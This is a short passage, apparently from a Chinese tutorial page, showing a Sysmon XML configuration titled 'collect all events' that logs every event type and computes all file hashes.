      </NetworkConnect>
      
      • 1
      • 2
      • 3
      • 4
      • 5
    全部事件收集
    <Sysmon schemaversion="4.21">
    <!-- Capture all hashes -->
    <HashAlgorithms>*</HashAlgorithms>
    <CheckRevocation/>
    <EventFiltering >
    <RuleGroup name="" groupRelation="or"> 
        <ProcessCreate onmatch="exclude"></ProcessCreate>
        <FileCreateTime onmatch="exclude"></FileCreateTime>
        <NetworkConnect onmatch="exclude"></NetworkConnect>
        <ProcessTerminate onmatch="exclude"></ProcessTerminate>
        <DriverLoad onmatch="exclude"></DriverLoad>
        <ImageLoad onmatch="exclude"></ImageLoad>
        <CreateRemoteThread onmatch="exclude"></CreateRemoteThread>
        <RawAccessRead onmatch="exclude"></RawAccessRead>
        <ProcessAccess onmatch="exclude"></ProcessAccess>
        <FileCreate onmatch="exclude"></FileCreate>
        <RegistryEvent onmatch="exclude"></RegistryEvent>
        <FileCreateStreamHash onmatch="exclude"></FileCreateStreamHash>
        <PipeEvent onmatch="exclude"></PipeEvent>
        <DnsQuery onmatch="exclude"></DnsQuery>
    </RuleGroup>
    </EventFiltering>